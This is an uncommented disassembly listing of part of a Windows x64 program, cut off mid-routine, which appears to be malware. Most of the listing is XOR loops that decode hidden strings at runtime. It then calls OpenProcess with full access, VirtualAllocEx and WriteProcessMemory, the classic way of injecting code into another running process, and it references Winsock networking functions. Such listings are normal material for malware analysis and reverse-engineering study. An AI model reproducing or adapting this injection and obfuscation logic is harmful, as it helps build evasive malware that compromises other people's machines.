nop
mov rdx, qword [rbp + 0x780]
cmp rdx, 0xf
jbe 0x140022d69
inc rdx
mov rcx, qword [rbp + 0x768]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022d64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023a66
call fcn.1400bbb20
mov qword [rbp + 0x778], rbx
mov qword [rbp + 0x780], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x768], 0
lea rax, [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova rax, qword [rbp + 0x1330]
mov qword [rbp + 0xa08], rax
mov rax, qword [rbp + 0x1340]
mov qword [rbp + 0xa10], rax
movups xmm6, xmmword [rbp + 0xa08]
call fcn.1400bac58
movaps xmmword [rbp + 0x1320], xmm6
lea r8, [rbp + 0x1320]
mov edx, eax
lea rcx, [rbp + 0x808]
call fcn.1400032b0
nop
mov r8d, 3
lea rdx, [rbp + 0x808]
lea rcx, [rbp + 0x1110]
call fcn.140004a00
movsd xmm0, qword [rax]
movsd qword [rbp + 0x348], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xa20], ecx
lea rax, str.xE_f_
mov qword [rbp + 0xa28], rax
movaps xmm0, xmmword [rbp + 0xa20]
movdqa xmmword [rbp + 0x1320], xmm0
mov eax, dword [rbp + 0x348]
test eax, eax
je 0x140022fe7
cmp eax, 1
sete dil
mov rdx, qword [rbp + 0x820]
cmp rdx, 7
jbe 0x140022e7d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x808]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022e78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023a66
call fcn.1400bbb20
mov qword [rbp + 0x818], rbx
mov qword [rbp + 0x820], 7
mov word [rbp + 0x808], bx
mov r8d, ebx
test dil, dil
je 0x1400230e7
movups xmm0, xmmword [0x1400d6ef8]
movups xmmword [rbp + 0xbc0], xmm0
movups xmm1, xmmword [0x1400d6f08]
movups xmmword [rbp + 0xbd0], xmm1
movups xmm0, xmmword [0x1400d6f18]
movups xmmword [rbp + 0xbe0], xmm0
movsd xmm0, qword [0x1400d6f28]
movsd qword [rbp + 0xbf0], xmm0
cmp r15d, 2
jl 0x140022ff7
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xbc0]
mov r8d, dword [rbp + 0x1320]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140022f00
jmp 0x140023032
mov dil, 1
test ecx, ecx
jne 0x14002ee08
jmp 0x140022e37
lea r9, [rbp + 0xbc0]
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140023000
xorps xmm0, xmm0
movups xmmword [rbp + 0x748], xmm0
mov qword [rbp + 0x758], rbx
mov qword [rbp + 0x760], rbx
lea rax, [rbp + 0xbc0]
inc r14
cmp byte [rax + r14], 0
jne 0x140023051
mov r8, r14
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0x748]
call fcn.140045100
nop
mov r8d, 0xff
lea rdx, [rbp + 0x748]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x760]
cmp rdx, 0xf
jbe 0x1400230c9
inc rdx
mov rcx, qword [rbp + 0x748]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400230c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023a66
call fcn.1400bbb20
mov qword [rbp + 0x758], rbx
mov qword [rbp + 0x760], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x748], 0
jmp 0x140022901
movups xmm2, xmmword [str.40rrw]
movups xmmword [rbp + 0xa8], xmm2
cmp r15d, 2
jl 0x1400232ae
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac]
xorps xmm2, xmm1
movd dword [rbp + 0xac], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb0]
xorps xmm2, xmm1
movd dword [rbp + 0xb0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb4]
xorps xmm2, xmm1
movd dword [rbp + 0xb4], xmm2
jmp 0x1400232f2
lea r9, [rbp + 0xa8]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400232c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x728], xmm0
mov qword [rbp + 0x738], rbx
mov qword [rbp + 0x740], rbx
lea rax, [rbp + 0xa8]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140023314
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x728]
call fcn.140045100
nop
mov r8d, 0xffff
lea rdx, [rbp + 0x728]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x740]
cmp rdx, 0xf
jbe 0x140023389
inc rdx
mov rcx, qword [rbp + 0x728]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023384
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023a66
call fcn.1400bbb20
mov qword [rbp + 0x738], rbx
mov qword [rbp + 0x740], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x728], 0
mov r8d, 0x104
lea rdx, [rbp + 0x1d90]
mov rcx, qword [0x1400ecc10]
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rbp + 0x1d90]
call fcn.1400191a0
mov dword [rbp + 0x12c8], eax
test eax, eax
jne 0x140023726
call fcn.14001db70
movups xmm2, xmmword [str.40kNR_Z32b_1f____AGN]
movups xmmword [rbp + 0x1f8], xmm2
mov edx, dword [0x1400d68e0]
mov dword [rbp + 0x208], edx
movzx eax, word [0x1400d68e4]
mov word [rbp + 0x20c], ax
mov r9d, ebx
cmp r15d, 2
jl 0x14002362e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x1f8], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x1fc]
xorps xmm11, xmm1
movd dword [rbp + 0x1fc], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x200]
xorps xmm10, xmm1
movd dword [rbp + 0x200], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x204]
xorps xmm13, xmm1
movd dword [rbp + 0x204], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, edx
xorps xmm15, xmm1
movd dword [rbp + 0x208], xmm15
mov r9d, reloc.WS2_32.dll_sendto
mov eax, r9d
lea r8, [rbp + 0x1f8]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r9d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r8], al
inc r9d
lea r8, [r8 + 1]
cmp r9d, 0x16
jl 0x140023640
xorps xmm0, xmm0
movups xmmword [rbp + 0x6c8], xmm0
mov qword [rbp + 0x6d8], rbx
mov qword [rbp + 0x6e0], rbx
lea rax, [rbp + 0x1f8]
nop
inc r14
cmp byte [rax + r14], 0
jne 0x140023690
mov r8, r14
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x6c8]
call fcn.140045100
nop
mov r8d, 0xff
lea rdx, [rbp + 0x6c8]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x6e0]
cmp rdx, 0xf
jbe 0x140023708
inc rdx
mov rcx, qword [rbp + 0x6c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023703
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023a66
call fcn.1400bbb20
mov qword [rbp + 0x6d8], rbx
mov qword [rbp + 0x6e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6c8], 0
jmp 0x140022901
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov qword [rbp + 0x1370], rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140025b91
mov esi, dword [rbp + 0x1340]
lea r8, [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova r8, qword [rbp + 0x1330]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rdi, eax
mov eax, 2
mul rdi
cmovb rax, r14
mov rcx, rax
call fcn.1400bbe7c
mov r13, rax
lea r8, [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova r8, qword [rbp + 0x1330]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1418], xmm0
mov qword [rbp + 0x1428], rbx
mov qword [rbp + 0x1430], rbx
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [r13 + r8*2], 0
jne 0x1400237f0
mov rdx, r13
lea rcx, [rbp + 0x1418]
call fcn.140044cf0
mov rcx, r13
call fcn.1400bbb20
nop
mov r8, qword [rbp + 0x1428]
lea r8, [r8*2 + 2]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rdi, qword [rbp + 0x1370]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140023c06
movsd xmm0, qword [str.oSIHH_S]
movsd qword [rbp + 0x100], xmm0
mov ecx, dword [str._._]
mov dword [rbp + 0x108], ecx
movzx eax, word [0x1400d5274]
mov word [rbp + 0x10c], ax
movzx eax, byte [str.GHISO]
mov byte [rbp + 0x10e], al
mov esi, ebx
cmp r15d, 2
jl 0x1400239de
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [str.oSIHH_S]
xorps xmm8, xmm0
movd dword [rbp + 0x100], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x104]
xorps xmm11, xmm1
movd dword [rbp + 0x104], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm1, ecx
xorps xmm10, xmm1
movd dword [rbp + 0x108], xmm10
mov esi, reloc.WS2_32.dll_inet_ntoa
mov eax, esi
lea r8, [rbp + 0x100]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0xf
jl 0x1400239f0
lea rcx, [rbp + 0x100]
call fcn.1400163d0
nop
mov rdx, qword [rbp + 0x1430]
cmp rdx, 7
jbe 0x140023a72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1418]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023a6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023a6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x1428], rbx
mov qword [rbp + 0x1430], 7
mov word [rbp + 0x1418], bx
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x140023acc
inc rdx
mov rcx, qword [rbp + 0x1330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023ac7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025d87
call fcn.1400bbb20
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1330], 0
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x140023b26
inc rdx
mov rcx, qword [rbp + 0x1350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023b21
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025de4
call fcn.1400bbb20
mov qword [rbp + 0x1360], rbx
mov qword [rbp + 0x1368], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1350], 0
mov rdx, qword [rbp + 0x13b0]
cmp rdx, 0xf
jbe 0x140023b80
inc rdx
mov rcx, qword [rbp + 0x1398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023b7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025e41
call fcn.1400bbb20
mov qword [rbp + 0x13a8], rbx
mov qword [rbp + 0x13b0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1398], 0
mov rdx, qword [rbp + 0x13f0]
cmp rdx, 7
jbe 0x140023bdf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023bda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
mov qword [rbp + 0x13e8], rbx
mov qword [rbp + 0x13f0], 7
mov word [rbp + 0x13d8], bx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002ebb5
movups xmm2, xmmword [0x1400d4de0]
movups xmmword [rbp + 0xd0], xmm2
movsd xmm0, qword [0x1400d4df0]
movsd qword [rbp + 0xe0], xmm0
movzx eax, byte [0x1400d4df8]
mov byte [rbp + 0xe8], al
mov r8d, ebx
cmp r15d, 2
jl 0x140023ec8
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xd0], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd4]
xorps xmm2, xmm1
movd dword [rbp + 0xd4], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd8]
xorps xmm2, xmm1
movd dword [rbp + 0xd8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe0]
xorps xmm2, xmm1
movd dword [rbp + 0xe0], xmm2
movdqa xmm3, xmmword [0x1400d7380]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140023ee0
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a8], xmm0
mov qword [rbp + 0x6b8], rbx
mov qword [rbp + 0x6c0], rbx
lea rax, [rbp + 0xd0]
nop
inc r14
cmp byte [rax + r14], 0
jne 0x140023f30
mov r8, r14
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x6a8]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x6a8]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x6c0]
cmp rdx, 0xf
jbe 0x140023fab
inc rdx
mov rcx, qword [rbp + 0x6a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023fa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023fa6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x6b8], rbx
mov qword [rbp + 0x6c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6a8], 0
mov rax, qword [rbp + 0x1428]
lea r9, [rax*2 + 2]
lea r8, [rbp + 0x1418]
cmp qword [rbp + 0x1430], 7
cmova r8, qword [rbp + 0x1418]
lea rax, [rbp + 0x1500]
mov qword [rsp + 0x20], rax
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14002424c
movups xmm2, xmmword [str.nHRHXnM__07_b_3K]
movups xmmword [rbp + 0x210], xmm2
movzx eax, word [0x1400d5048]
mov word [rbp + 0x220], ax
movzx eax, byte [0x1400d504a]
mov byte [rbp + 0x222], al
cmp r15d, 2
jl 0x1400241f8
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x210], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x214]
xorps xmm11, xmm1
movd dword [rbp + 0x214], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
